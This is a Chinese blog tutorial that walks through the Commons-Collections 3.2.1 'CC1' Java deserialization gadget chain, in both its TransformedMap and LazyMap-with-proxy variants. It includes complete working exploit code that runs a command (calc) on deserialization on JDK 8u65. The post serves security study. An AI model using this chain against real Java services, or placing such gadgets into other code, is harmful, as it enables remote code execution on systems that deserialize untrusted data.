cc1


前置

先是要把前置弄好,用的是1.8.0_65java和commons-collections-3.2.1

选择openJDK下载替换源码以确保sun有源码可调式,相关有B站视频

应该创建一个Maven项目后照官网上的示例创建一个xml,接着重构项目完成下载,令我恼火的是我一开始没点mzven,于是自己加了些乱七八糟的东西完成Maven安装后我死活看不见下载commons-collections到外部库,于是手动下载了个jar导入

但是最好还是正常做:后来又创了个Maven,记得勾选maven,用

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>cc1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <!-- 指定 JDK 版本为 1.8,避免编译警告 -->
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <!-- 核心依赖:commons-collections 3.2.1 -->
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>

    <!-- 配置阿里云镜像,解决插件下载慢/失败的问题 -->
    <repositories>
        <repository>
            <id>aliyunmaven</id>
            <url>https://maven.aliyun.com/repository/public</url>
        </repository>
    </repositories>
    <pluginRepositories>
        <pluginRepository>
            <id>aliyunmaven</id>
            <url>https://maven.aliyun.com/repository/public</url>
        </pluginRepository>
    </pluginRepositories>
</project>

下好构建好了(因为我插件总下不好,于是换了个镜像),这时自己运行就能自动导入各种包了

我直接在示例的main.java里写exp

主要是transform

public Object transform(Object input);

最终的地方在InvokerTransformer

InvokerTransformer().transform()
 try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

可以看到这里简直是离谱,完美的反射,因此我们可以利用这个

  Runtime r = Runtime.getRuntime();
//        Class c =Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

transform右键点击查找方法,并改成在整个 IDEA 打开的所有项目和库中查找,然后找,主要是找除自身调用自身之外的链子。

TransformedMap

TransformedMap.java里面

protected Object checkSetValue(Object value) {
     return valueTransformer.transform(value);
 }

and再往上找

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
再网上找
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

所以把需要的参数填里面即可

InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> Map = new HashMap<>();
TransformedMap.decorate(Map,null,InvokerTransformer);

Alt+Enter补全。即还是调用InvokerTransformertransform

接着要想办法调checkSetValue

我们去看看AbstractInputCheckedMapDecorator.java

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

我们来弄个数组吧,弄得时候会发现entryObject,于是再改一下

        //        Runtime.getRuntime().exec("calc");
        Runtime r = Runtime.getRuntime();
//        Class c =Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
        InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("k","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, InvokerTransformer);
        for (Map.Entry<Object, Object> entry : transformedMap.entrySet()){
            entry.setValue(r);
        }

接着找setvalue,正好是在readObject

AnnotationInvocationHandler,而且还正好在readObject。但要注意这不是公有的,所以要反射调用类,还要记得弄放行的accessible

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

我们按照上面的格式传进去,注解(Annotation)用override

Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlercons.setAccessible(true);
AnnotationInvocationHandlercons.newInstance(Override.class,transformedMap);

创建完实例后感觉很好了

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        //        Runtime.getRuntime().exec("calc");
        Runtime r = Runtime.getRuntime();
//        Class c =Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
        InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("k","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, InvokerTransformer);
//        for (Map.Entry<Object, Object> entry : transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlercons.setAccessible(true);
        Object o=AnnotationInvocationHandlercons.newInstance(Override.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");
        
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是setvalue这里是这样的,我们不能直接放参数

memberValue.setValue(
                new AnnotationTypeMismatchExceptionProxy(
                    value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
        }

而且我们生成的r不能被序列化

可以看到没继承序列化接口,也可以看到我们直接用getRuntime就行

但是它的class是可以序列化的

但因为它也是不公有的所以还是反射

Class.getMethod(String methodName, Class<?>... parameterTypes)

        Class c=Runtime.class;
        Method getRuntime = c.getMethod("getRuntime", null);
//        getRuntime.invoke(null,null);
        Runtime r = (Runtime) getRuntime.invoke(null, null);

getRuntime静态方法属于类,不需要传入具体的对象实例,而且因为 getRuntime() 是无参方法,所以参数列表为空。等价写法:getRuntime.invoke(null, new Object[]{})

我们再反射调用它的exec方法,传入对象实例和参数

        Method exec = c.getMethod("exec", String.class);
        exec.invoke(r,"calc");
//         runtime.exec("calc")

接着我们再用那个超像后门的InvokerTransformer,照着public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)public Method getMethod(String name, Class<?>... parameterTypes)写参数,transform()那里是要传进去的东西。还有记得转类型。

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class.class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

然后如法炮制别的public Object invoke(Object obj, Object... args)

Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object.class}, new Object[]{null, null}).transform(getRuntimeMethod);
       Method exec = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(Runtime.class);
       new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{r,new Object[]{"calc.exe"}}).transform(exec);

即还是一样,只不过我们把正常的反射调用用我们发现的链子表达了出来

ps:Method.invoke(Object obj, Object... args) 的第二个参数是可变参数(本质是 Object[]),所以参数类型要写 Object[].class,不是 Object.class

getMethodClass 类的方法,getMethod 的第二个参数是 Class<?>...(可变参数,本质是数组),应该传 new Class[]{String.class}invoke 的第二个参数是可变参数(Object []),即使只传一个值,也需要包装成数组(new Object[]{"calc.exe"}),而非直接传单个值。

或者是

//        Method exec = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(Runtime.class);
//        new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{r,new Object[]{"calc.exe"}}).transform(exec);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

即手动找 exec 方法 → 手动调用 invoketransform 自动找 + 自动调用。当调用 .transform(r) 时,它底层会自动执行

public Object transform(Object input) {
    // 1. 拿到input对象的Class(此处input是r,即Runtime实例)
    Class<?> cls = input.getClass();
    // 2. 反射找到input对象的"exec"方法(参数类型String)
    Method method = cls.getMethod("exec", new Class[]{String.class});
    // 3. 调用该方法,传入参数"calc"
    return method.invoke(input, new Object[]{"calc"});
}

无需接触 Method 对象,,把 “找方法 + 调方法” 封装在 transform

而这是transform的递归调用,于是我们可以直接用方法ChainedTransformer

Transformer[] trs=new Transformer[]{
       new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
chainedTransformer.transform(Runtime.class);

于是我们可以把Map<Object,Object> transformedMap = TransformedMap.*decorate*(map, null, InvokerTransformer);改成Map<Object,Object> transformedMap = TransformedMap.*decorate*(map, null, chainedTransformer);

而这里还是走不通的,因为memberTypenull,还没走到setValue

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

它在查找一个成员方法,因此我们也应该提供一个有成员方法的Class,数组的key也要改成成员方法的名字

可以看到Target有成员方法value,但因为Class<?> memberType = memberTypes.get(name);只能检测到value而没有k(看上个调试图得知)(map.put("k","v");需要两个),因此memberType还是null

所以我们要把前者改成valuemap.put("value","v");

可以看到不是null了。

于是我们接着走下去

memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));之后是

value = this.parent.checkSetValue(value)再之后是

可以得知

//        chainedTransformer.transform(Runtime.class);
//        valueTransformer.transform(Runtime.class);

是一样的,我们只需要传进Runtime.class即可,但是看代码和debug知道现在参数是 AnnotationTypeMismatchExceptionProxy,所以我们要改一下

因此我们可以巧妙利用ConstantTransformer类,不管输入什么都返回一个值,即

Transformer[] trs=new Transformer[]{
        new ConstantTransformer(Runtime.class),
       new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};

这时发现运行成功了!发现的人也太厉害了

最终:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        //        Runtime.getRuntime().exec("calc");
//        Runtime r = Runtime.getRuntime();
//        Class c =Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
//        InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//        Method exec = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"exec", new Class[]{String.class}}).transform(Runtime.class);
//        new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{r,new Object[]{"calc.exe"}}).transform(exec);
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

        Transformer[] trs=new Transformer[]{
                new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
         new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(trs);

//        chainedTransformer.transform(Runtime.class);
//        valueTransformer.transform(Runtime.class);


//        Class c=Runtime.class;
//        Method getRuntime = c.getMethod("getRuntime", null);
//        getRuntime.invoke(null,null);
//        Runtime r = (Runtime) getRuntime.invoke(null, null);
//        Method exec = c.getMethod("exec", String.class);
//        exec.invoke(r,"calc");

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

//        for (Map.Entry<Object, Object> entry : transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlercons.setAccessible(true);
        Object o=AnnotationInvocationHandlercons.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

当然也可以用LazyMap,但似乎用这个链更简单一些,后面是一样的

LazyMap

调cc1时知道除了TransformedMap还有LazyMapDefaultedMap(找transform()的除自己调的方法)

当你从 LazyMap 中获取一个不存在的 key 时,它不会返回 null,而是自动调用预设的「工厂方法」生成一个对应的值,并把这个值存入 Map 中;

我们来看一下LazyMap里的get方法

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

因此我们只需要进入if然后把factory传成chainedTransformer即可,这要求我们要保证初始没有key,这才能调用transform

仍旧是转到AnnotationInvocationHandler

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }

我们仍像上一个一样控制memberValues传入map

我们下一步是要找调用了get方法的地方

有很多地方我们不能控制,但这里可以

public Object invoke(Object proxy, Method method, Object[] args) {
       String member = method.getName();
       Class<?>[] paramTypes = method.getParameterTypes();

       // Handle Object and Annotation methods
       if (member.equals("equals") && paramTypes.length == 1 &&
           paramTypes[0] == Object.class)
           return equalsImpl(args[0]);
       if (paramTypes.length != 0)
           throw new AssertionError("Too many parameters for an annotation method");

       switch(member) {
       case "toString":
           return toStringImpl();
       case "hashCode":
           return hashCodeImpl();
       case "annotationType":
           return type;
       }

       // Handle annotation member accessors
       Object result = memberValues.get(member);

调动态代理的invoke只要修饰过就会自动调用,即Proxy(AnnotationInvocationHandler.xxxxxx)就可以

我们用AnnotationInvocationHandler.readObject里放代理,再因此调用get,于是我们就能调用

chainedTransformertransform

回顾invoke我们发现要达到 memberValues.get我们不能调equals,也不能调有参方法(if说的),于是我们调动readObject无参方法

private void readObject(java.io.ObjectInputStream s)
       throws java.io.IOException, ClassNotFoundException {
       s.defaultReadObject();

       // Check to make sure that types have not evolved incompatibly

       AnnotationType annotationType = null;
       try {
           annotationType = AnnotationType.getInstance(type);
       } catch(IllegalArgumentException e) {
           // Class is no longer an annotation type; time to punch out
           throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
       }

       Map<String, Class<?>> memberTypes = annotationType.memberTypes();

       // If there are annotation members without values, that
       // situation is handled by the invoke method.
       for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
           String name = memberValue.getKey();
           Class<?> memberType = memberTypes.get(name);
           if (memberType != null) {  // i.e. member still exists
               Object value = memberValue.getValue();
               if (!(memberType.isInstance(value) ||
                     value instanceof ExceptionProxy)) {
                   memberValue.setValue(
                       new AnnotationTypeMismatchExceptionProxy(
                           value.getClass() + "[" + value + "]").setMember(
                               annotationType.members().get(name)));
               }
           }

很巧正好就有哈(),memberValues.entrySet()。即我们第一个AnnotationInvocationHandler里的memberValues=Proxy,第二个AnnotationInvocationHandler里的memberValues=LazyMap,最后LAzyMapgetchainedTransformer

可以看到

public static Map decorate(Map map, Transformer factory) {
       return new LazyMap(map, factory);
   }

于是我们可以弄成

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

因为我们只要走到这里for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 所以Object o=AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);这里的注解可以随便传

因为要生成动态代理,所以要改一下,改成

InvocationHandler h= (InvocationHandler) AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);

public static Object newProxyInstance(ClassLoader loader,
                                      Class<?>[] interfaces,
                                      InvocationHandler h)

所以

//Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

我们转成Map是因为我们要再次调用AnnotationInvocationHandlercons(最外层),而如下图,这个接受Map

接着我们像上一步一样就可

Object o = AnnotationInvocationHandlercons.newInstance(Override.class, mapProxy);

完成:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

// 按两次 Shift 打开“随处搜索”对话框并输入 `show whitespaces`,
// 然后按 Enter 键。现在,您可以在代码中看到空格字符。
public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {

        Transformer[] trs=new Transformer[]{
                new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
         new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(trs);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);


        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AnnotationInvocationHandlercons=c.getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandlercons.setAccessible(true);
        InvocationHandler h= (InvocationHandler) AnnotationInvocationHandlercons.newInstance(Override.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o = AnnotationInvocationHandlercons.newInstance(Override.class, mapProxy);

        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

动态代理继承Proxy,而这个是可以序列化的

1.8.0_71里已经修复了,两条链用不了了,TransformedMap不行是因为把setvalue删了,这个是因为把AnnotationInvocationHandlercons,动态代理改了改


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录